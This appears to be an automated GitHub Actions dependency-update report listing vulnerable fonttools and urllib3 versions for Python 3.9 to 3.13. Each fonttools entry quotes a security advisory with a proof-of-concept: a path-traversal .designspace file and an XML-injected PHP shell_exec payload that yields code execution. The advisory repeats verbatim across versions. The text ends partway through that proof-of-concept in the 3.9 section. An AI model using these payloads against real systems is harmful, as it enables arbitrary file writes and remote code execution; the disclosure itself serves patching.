Updated constraints due security reasons (triggered on 2025-12-15T12:11:31+00:00 by 8600263b1a1813a33f4d3ca44499565fc92c5d40)

[github-actions]

Fixed dependency issues for Python 3.10

Name	Version	ID	Fix Versions	Description
fonttools	4.60.1	CVE-2025-66034	4.60.2	## Summary The fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main(). The vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting /etc/passwd). Overall this allows attackers to: - Write font files to arbitrary locations on the filesystem - Overwrite configuration files - Corrupt application files and dependencies - Obtain remote code execution The attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means. ## Affected Lines fontTools/varLib/__init__.py python filename = vf.filename # Unsanitised filename output_path = os.path.join(output_dir, filename) # Path traversal vf.save(output_path) # Arbitrary file write ## PoC 1. Set up malicious.designspace and respective source-*.ttf files in a directory like /Users/<username>/testing/demo/ (will impact relative file location within malicious.designspace) setup.py python #!/usr/bin/env python3 import os from fontTools.fontBuilder import FontBuilder from fontTools.pens.ttGlyphPen import TTGlyphPen def create_source_font(filename, weight=400): fb = FontBuilder(unitsPerEm=1000, isTTF=True) fb.setupGlyphOrder([".notdef"]) fb.setupCharacterMap({}) pen = TTGlyphPen(None) pen.moveTo((0, 0)) pen.lineTo((500, 0)) pen.lineTo((500, 500)) pen.lineTo((0, 500)) pen.closePath() fb.setupGlyf({".notdef": pen.glyph()}) fb.setupHorizontalMetrics({".notdef": (500, 0)}) fb.setupHorizontalHeader(ascent=800, descent=-200) fb.setupOS2(usWeightClass=weight) fb.setupPost() fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"}) fb.save(filename) if __name__ == '__main__': os.chdir(os.path.dirname(os.path.abspath(__file__))) create_source_font("source-light.ttf", weight=100) create_source_font("source-regular.ttf", weight=400) malicious.designspace xml <?xml version='1.0' encoding='UTF-8'?> <designspace format="5.0"> <axes> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/> </axes> <sources> <source filename="source-light.ttf" name="Light"> <location> <dimension name="Weight" xvalue="100"/> </location> </source> <source filename="source-regular.ttf" name="Regular"> <location> <dimension name="Weight" xvalue="400"/> </location> </source> </sources> <!-- Filename can be arbitrarily set to any path on the filesystem --> <variable-fonts> <variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json"> <axis-subsets> <axis-subset name="Weight"/> </axis-subsets> </variable-font> </variable-fonts> </designspace> Optional: You can put a file with any material within ../../tmp/newarbitraryfile.json in advance, the contents in the file will be overwritten after running the setup script in the following step. 2. Run the setup.py script to generate source-*.tff files required for the malicious.designspace file. bash python3 setup.py 3. Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of filename bash fonttools varLib malicious.designspace 4. Validate arbitrary file write was performed by looking at path assigned within malicious designspace bash cat {{filename_location}} 5. After validating that we can provide arbitrary write to any location, we can also validate that we can control sections of content as well demonstrated with the below payload. malicious2.designspace xml <?xml version='1.0' encoding='UTF-8'?> <designspace format="5.0"> <axes> <!-- XML injection occurs in labelname elements with CDATA sections --> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"> <labelname xml:lang="en"><![CDATA[<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname> <labelname xml:lang="fr">MEOW2</labelname> </axis> </axes> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/> <sources> <source filename="source-light.ttf" name="Light"> <location> <dimension name="Weight" xvalue="100"/> </location> </source> <source filename="source-regular.ttf" name="Regular"> <location> <dimension name="Weight" xvalue="400"/> </location> </source> </sources> <variable-fonts> <variable-font name="MyFont" filename="output.ttf"> <axis-subsets> <axis-subset name="Weight"/> </axis-subsets> </variable-font> </variable-fonts> <instances> <instance name="Display Thin" familyname="MyFont" stylename="Thin"> <location><dimension name="Weight" xvalue="100"/></location> <labelname xml:lang="en">Display Thin</labelname> </instance> </instances> </designspace> 6. When the program is run, we can show we control the contents in the new file bash fonttools varLib malicious2.designspace -o file123 Here being outputted to a localised area ignoring filename presented in variable-font 7. We can look inside file123 to validate user controlled injection bash cat file123 to show <?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]> 8. Executing the file and reading looking at the newly generated file bash php file123 ls -la /tmp/MEOW123 we can see that the file was just created showing RCE. ## Recommendations - Ensure output file paths configured within designspace files are restricted to the local directory or consider further security measures to prevent arbitrary file write/overwrite within any directory on the system
urllib3	2.5.0	CVE-2025-66418	2.6.0	## Impact urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd). However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data. ## Affected usages Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly. ## Remediation Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5. If upgrading is not immediately possible, use preload_content=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.
urllib3	2.5.0	CVE-2025-66471	2.6.0	### Impact urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation. The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data. ### Affected usages Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources. stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly. ### Remediation Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount. If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3. ### Credits The issue was reported by @Cycloctane. Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF.

Fixed dependency issues for Python 3.11

Name	Version	ID	Fix Versions	Description
fonttools	4.60.1	CVE-2025-66034	4.60.2	## Summary The fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main(). The vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting /etc/passwd). Overall this allows attackers to: - Write font files to arbitrary locations on the filesystem - Overwrite configuration files - Corrupt application files and dependencies - Obtain remote code execution The attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means. ## Affected Lines fontTools/varLib/__init__.py python filename = vf.filename # Unsanitised filename output_path = os.path.join(output_dir, filename) # Path traversal vf.save(output_path) # Arbitrary file write ## PoC 1. Set up malicious.designspace and respective source-*.ttf files in a directory like /Users/<username>/testing/demo/ (will impact relative file location within malicious.designspace) setup.py python #!/usr/bin/env python3 import os from fontTools.fontBuilder import FontBuilder from fontTools.pens.ttGlyphPen import TTGlyphPen def create_source_font(filename, weight=400): fb = FontBuilder(unitsPerEm=1000, isTTF=True) fb.setupGlyphOrder([".notdef"]) fb.setupCharacterMap({}) pen = TTGlyphPen(None) pen.moveTo((0, 0)) pen.lineTo((500, 0)) pen.lineTo((500, 500)) pen.lineTo((0, 500)) pen.closePath() fb.setupGlyf({".notdef": pen.glyph()}) fb.setupHorizontalMetrics({".notdef": (500, 0)}) fb.setupHorizontalHeader(ascent=800, descent=-200) fb.setupOS2(usWeightClass=weight) fb.setupPost() fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"}) fb.save(filename) if __name__ == '__main__': os.chdir(os.path.dirname(os.path.abspath(__file__))) create_source_font("source-light.ttf", weight=100) create_source_font("source-regular.ttf", weight=400) malicious.designspace xml <?xml version='1.0' encoding='UTF-8'?> <designspace format="5.0"> <axes> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/> </axes> <sources> <source filename="source-light.ttf" name="Light"> <location> <dimension name="Weight" xvalue="100"/> </location> </source> <source filename="source-regular.ttf" name="Regular"> <location> <dimension name="Weight" xvalue="400"/> </location> </source> </sources> <!-- Filename can be arbitrarily set to any path on the filesystem --> <variable-fonts> <variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json"> <axis-subsets> <axis-subset name="Weight"/> </axis-subsets> </variable-font> </variable-fonts> </designspace> Optional: You can put a file with any material within ../../tmp/newarbitraryfile.json in advance, the contents in the file will be overwritten after running the setup script in the following step. 2. Run the setup.py script to generate source-*.tff files required for the malicious.designspace file. bash python3 setup.py 3. Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of filename bash fonttools varLib malicious.designspace 4. Validate arbitrary file write was performed by looking at path assigned within malicious designspace bash cat {{filename_location}} 5. After validating that we can provide arbitrary write to any location, we can also validate that we can control sections of content as well demonstrated with the below payload. malicious2.designspace xml <?xml version='1.0' encoding='UTF-8'?> <designspace format="5.0"> <axes> <!-- XML injection occurs in labelname elements with CDATA sections --> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"> <labelname xml:lang="en"><![CDATA[<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname> <labelname xml:lang="fr">MEOW2</labelname> </axis> </axes> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/> <sources> <source filename="source-light.ttf" name="Light"> <location> <dimension name="Weight" xvalue="100"/> </location> </source> <source filename="source-regular.ttf" name="Regular"> <location> <dimension name="Weight" xvalue="400"/> </location> </source> </sources> <variable-fonts> <variable-font name="MyFont" filename="output.ttf"> <axis-subsets> <axis-subset name="Weight"/> </axis-subsets> </variable-font> </variable-fonts> <instances> <instance name="Display Thin" familyname="MyFont" stylename="Thin"> <location><dimension name="Weight" xvalue="100"/></location> <labelname xml:lang="en">Display Thin</labelname> </instance> </instances> </designspace> 6. When the program is run, we can show we control the contents in the new file bash fonttools varLib malicious2.designspace -o file123 Here being outputted to a localised area ignoring filename presented in variable-font 7. We can look inside file123 to validate user controlled injection bash cat file123 to show <?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]> 8. Executing the file and reading looking at the newly generated file bash php file123 ls -la /tmp/MEOW123 we can see that the file was just created showing RCE. ## Recommendations - Ensure output file paths configured within designspace files are restricted to the local directory or consider further security measures to prevent arbitrary file write/overwrite within any directory on the system
urllib3	2.5.0	CVE-2025-66418	2.6.0	## Impact urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd). However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data. ## Affected usages Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly. ## Remediation Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5. If upgrading is not immediately possible, use preload_content=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.
urllib3	2.5.0	CVE-2025-66471	2.6.0	### Impact urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation. The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data. ### Affected usages Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources. stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly. ### Remediation Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount. If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3. ### Credits The issue was reported by @Cycloctane. Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF.

Fixed dependency issues for Python 3.12

Name	Version	ID	Fix Versions	Description
fonttools	4.60.1	CVE-2025-66034	4.60.2	## Summary The fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main(). The vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting /etc/passwd). Overall this allows attackers to: - Write font files to arbitrary locations on the filesystem - Overwrite configuration files - Corrupt application files and dependencies - Obtain remote code execution The attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means. ## Affected Lines fontTools/varLib/__init__.py python filename = vf.filename # Unsanitised filename output_path = os.path.join(output_dir, filename) # Path traversal vf.save(output_path) # Arbitrary file write ## PoC 1. Set up malicious.designspace and respective source-*.ttf files in a directory like /Users/<username>/testing/demo/ (will impact relative file location within malicious.designspace) setup.py python #!/usr/bin/env python3 import os from fontTools.fontBuilder import FontBuilder from fontTools.pens.ttGlyphPen import TTGlyphPen def create_source_font(filename, weight=400): fb = FontBuilder(unitsPerEm=1000, isTTF=True) fb.setupGlyphOrder([".notdef"]) fb.setupCharacterMap({}) pen = TTGlyphPen(None) pen.moveTo((0, 0)) pen.lineTo((500, 0)) pen.lineTo((500, 500)) pen.lineTo((0, 500)) pen.closePath() fb.setupGlyf({".notdef": pen.glyph()}) fb.setupHorizontalMetrics({".notdef": (500, 0)}) fb.setupHorizontalHeader(ascent=800, descent=-200) fb.setupOS2(usWeightClass=weight) fb.setupPost() fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"}) fb.save(filename) if __name__ == '__main__': os.chdir(os.path.dirname(os.path.abspath(__file__))) create_source_font("source-light.ttf", weight=100) create_source_font("source-regular.ttf", weight=400) malicious.designspace xml <?xml version='1.0' encoding='UTF-8'?> <designspace format="5.0"> <axes> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/> </axes> <sources> <source filename="source-light.ttf" name="Light"> <location> <dimension name="Weight" xvalue="100"/> </location> </source> <source filename="source-regular.ttf" name="Regular"> <location> <dimension name="Weight" xvalue="400"/> </location> </source> </sources> <!-- Filename can be arbitrarily set to any path on the filesystem --> <variable-fonts> <variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json"> <axis-subsets> <axis-subset name="Weight"/> </axis-subsets> </variable-font> </variable-fonts> </designspace> Optional: You can put a file with any material within ../../tmp/newarbitraryfile.json in advance, the contents in the file will be overwritten after running the setup script in the following step. 2. Run the setup.py script to generate source-*.tff files required for the malicious.designspace file. bash python3 setup.py 3. Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of filename bash fonttools varLib malicious.designspace 4. Validate arbitrary file write was performed by looking at path assigned within malicious designspace bash cat {{filename_location}} 5. After validating that we can provide arbitrary write to any location, we can also validate that we can control sections of content as well demonstrated with the below payload. malicious2.designspace xml <?xml version='1.0' encoding='UTF-8'?> <designspace format="5.0"> <axes> <!-- XML injection occurs in labelname elements with CDATA sections --> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"> <labelname xml:lang="en"><![CDATA[<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname> <labelname xml:lang="fr">MEOW2</labelname> </axis> </axes> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/> <sources> <source filename="source-light.ttf" name="Light"> <location> <dimension name="Weight" xvalue="100"/> </location> </source> <source filename="source-regular.ttf" name="Regular"> <location> <dimension name="Weight" xvalue="400"/> </location> </source> </sources> <variable-fonts> <variable-font name="MyFont" filename="output.ttf"> <axis-subsets> <axis-subset name="Weight"/> </axis-subsets> </variable-font> </variable-fonts> <instances> <instance name="Display Thin" familyname="MyFont" stylename="Thin"> <location><dimension name="Weight" xvalue="100"/></location> <labelname xml:lang="en">Display Thin</labelname> </instance> </instances> </designspace> 6. When the program is run, we can show we control the contents in the new file bash fonttools varLib malicious2.designspace -o file123 Here being outputted to a localised area ignoring filename presented in variable-font 7. We can look inside file123 to validate user controlled injection bash cat file123 to show <?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]> 8. Executing the file and reading looking at the newly generated file bash php file123 ls -la /tmp/MEOW123 we can see that the file was just created showing RCE. ## Recommendations - Ensure output file paths configured within designspace files are restricted to the local directory or consider further security measures to prevent arbitrary file write/overwrite within any directory on the system
urllib3	2.5.0	CVE-2025-66418	2.6.0	## Impact urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd). However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data. ## Affected usages Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly. ## Remediation Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5. If upgrading is not immediately possible, use preload_content=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.
urllib3	2.5.0	CVE-2025-66471	2.6.0	### Impact urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation. The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data. ### Affected usages Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources. stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly. ### Remediation Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount. If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3. ### Credits The issue was reported by @Cycloctane. Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF.

Fixed dependency issues for Python 3.13

Name	Version	ID	Fix Versions	Description
fonttools	4.60.1	CVE-2025-66034	4.60.2	## Summary The fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main(). The vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting /etc/passwd). Overall this allows attackers to: - Write font files to arbitrary locations on the filesystem - Overwrite configuration files - Corrupt application files and dependencies - Obtain remote code execution The attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means. ## Affected Lines fontTools/varLib/__init__.py python filename = vf.filename # Unsanitised filename output_path = os.path.join(output_dir, filename) # Path traversal vf.save(output_path) # Arbitrary file write ## PoC 1. Set up malicious.designspace and respective source-*.ttf files in a directory like /Users/<username>/testing/demo/ (will impact relative file location within malicious.designspace) setup.py python #!/usr/bin/env python3 import os from fontTools.fontBuilder import FontBuilder from fontTools.pens.ttGlyphPen import TTGlyphPen def create_source_font(filename, weight=400): fb = FontBuilder(unitsPerEm=1000, isTTF=True) fb.setupGlyphOrder([".notdef"]) fb.setupCharacterMap({}) pen = TTGlyphPen(None) pen.moveTo((0, 0)) pen.lineTo((500, 0)) pen.lineTo((500, 500)) pen.lineTo((0, 500)) pen.closePath() fb.setupGlyf({".notdef": pen.glyph()}) fb.setupHorizontalMetrics({".notdef": (500, 0)}) fb.setupHorizontalHeader(ascent=800, descent=-200) fb.setupOS2(usWeightClass=weight) fb.setupPost() fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"}) fb.save(filename) if __name__ == '__main__': os.chdir(os.path.dirname(os.path.abspath(__file__))) create_source_font("source-light.ttf", weight=100) create_source_font("source-regular.ttf", weight=400) malicious.designspace xml <?xml version='1.0' encoding='UTF-8'?> <designspace format="5.0"> <axes> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/> </axes> <sources> <source filename="source-light.ttf" name="Light"> <location> <dimension name="Weight" xvalue="100"/> </location> </source> <source filename="source-regular.ttf" name="Regular"> <location> <dimension name="Weight" xvalue="400"/> </location> </source> </sources> <!-- Filename can be arbitrarily set to any path on the filesystem --> <variable-fonts> <variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json"> <axis-subsets> <axis-subset name="Weight"/> </axis-subsets> </variable-font> </variable-fonts> </designspace> Optional: You can put a file with any material within ../../tmp/newarbitraryfile.json in advance, the contents in the file will be overwritten after running the setup script in the following step. 2. Run the setup.py script to generate source-*.tff files required for the malicious.designspace file. bash python3 setup.py 3. Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of filename bash fonttools varLib malicious.designspace 4. Validate arbitrary file write was performed by looking at path assigned within malicious designspace bash cat {{filename_location}} 5. After validating that we can provide arbitrary write to any location, we can also validate that we can control sections of content as well demonstrated with the below payload. malicious2.designspace xml <?xml version='1.0' encoding='UTF-8'?> <designspace format="5.0"> <axes> <!-- XML injection occurs in labelname elements with CDATA sections --> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"> <labelname xml:lang="en"><![CDATA[<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname> <labelname xml:lang="fr">MEOW2</labelname> </axis> </axes> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/> <sources> <source filename="source-light.ttf" name="Light"> <location> <dimension name="Weight" xvalue="100"/> </location> </source> <source filename="source-regular.ttf" name="Regular"> <location> <dimension name="Weight" xvalue="400"/> </location> </source> </sources> <variable-fonts> <variable-font name="MyFont" filename="output.ttf"> <axis-subsets> <axis-subset name="Weight"/> </axis-subsets> </variable-font> </variable-fonts> <instances> <instance name="Display Thin" familyname="MyFont" stylename="Thin"> <location><dimension name="Weight" xvalue="100"/></location> <labelname xml:lang="en">Display Thin</labelname> </instance> </instances> </designspace> 6. When the program is run, we can show we control the contents in the new file bash fonttools varLib malicious2.designspace -o file123 Here being outputted to a localised area ignoring filename presented in variable-font 7. We can look inside file123 to validate user controlled injection bash cat file123 to show <?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]> 8. Executing the file and reading looking at the newly generated file bash php file123 ls -la /tmp/MEOW123 we can see that the file was just created showing RCE. ## Recommendations - Ensure output file paths configured within designspace files are restricted to the local directory or consider further security measures to prevent arbitrary file write/overwrite within any directory on the system
urllib3	2.5.0	CVE-2025-66418	2.6.0	## Impact urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd). However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data. ## Affected usages Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly. ## Remediation Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5. If upgrading is not immediately possible, use preload_content=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.
urllib3	2.5.0	CVE-2025-66471	2.6.0	### Impact urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation. The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data. ### Affected usages Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources. stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly. ### Remediation Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount. If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3. ### Credits The issue was reported by @Cycloctane. Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF.

Fixed dependency issues for Python 3.9

Name	Version	ID	Fix Versions	Description
fonttools	4.60.1	GHSA-768j-98cg-p3fv	4.60.2	## Summary The fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main(). The vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting /etc/passwd). Overall this allows attackers to: - Write font files to arbitrary locations on the filesystem - Overwrite configuration files - Corrupt application files and dependencies - Obtain remote code execution The attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means. ## Affected Lines fontTools/varLib/__init__.py python filename = vf.filename # Unsanitised filename output_path = os.path.join(output_dir, filename) # Path traversal vf.save(output_path) # Arbitrary file write ## PoC 1. Set up malicious.designspace and respective source-*.ttf files in a directory like /Users/<username>/testing/demo/ (will impact relative file location within malicious.designspace) setup.py python #!/usr/bin/env python3 import os from fontTools.fontBuilder import FontBuilder from fontTools.pens.ttGlyphPen import TTGlyphPen def create_source_font(filename, weight=400): fb = FontBuilder(unitsPerEm=1000, isTTF=True) fb.setupGlyphOrder([".notdef"]) fb.setupCharacterMap({}) pen = TTGlyphPen(None) pen.moveTo((0, 0)) pen.lineTo((500, 0)) pen.lineTo((500, 500)) pen.lineTo((0, 500)) pen.closePath() fb.setupGlyf({".notdef": pen.glyph()}) fb.setupHorizontalMetrics({".notdef": (500, 0)}) fb.setupHorizontalHeader(ascent=800, descent=-200) fb.setupOS2(usWeightClass=weight) fb.setupPost() fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"}) fb.save(filename) if __name__ == '__main__': os.chdir(os.path.dirname(os.path.abspath(__file__))) create_source_font("source-light.ttf", weight=100) create_source_font("source-regular.ttf", weight=400) malicious.designspace xml <?xml version='1.0' encoding='UTF-8'?> <designspace format="5.0"> <axes> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/> </axes> <sources> <source filename="source-light.ttf" name="Light"> <location> <dimension name="Weight" xvalue="100"/> </location> </source> <source filename="source-regular.ttf" name="Regular"> <location> <dimension name="Weight" xvalue="400"/> </location> </source> </sources> <!-- Filename can be arbitrarily set to any path on the filesystem --> <variable-fonts> <variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json"> <axis-subsets> <axis-subset name="Weight"/> </axis-subsets> </variable-font> </variable-fonts> </designspace> Optional: You can put a file with any material within ../../tmp/newarbitraryfile.json in advance, the contents in the file will be overwritten after running the setup script in the following step. 2. Run the setup.py script to generate source-*.tff files required for the malicious.designspace file. bash python3 setup.py 3. Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of filename bash fonttools varLib malicious.designspace 4. Validate arbitrary file write was performed by looking at path assigned within malicious designspace bash cat {{filename_location}} 5. After validating that we can provide arbitrary write to any location, we can also validate that we can control sections of content as well demonstrated with the below payload. malicious2.designspace xml <?xml version='1.0' encoding='UTF-8'?> <designspace format="5.0"> <axes> <!-- XML injection occurs in labelname elements with CDATA sections --> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"> <labelname xml:lang="en"><![CDATA[<?php echo shell_exec("/usr/bin/touch 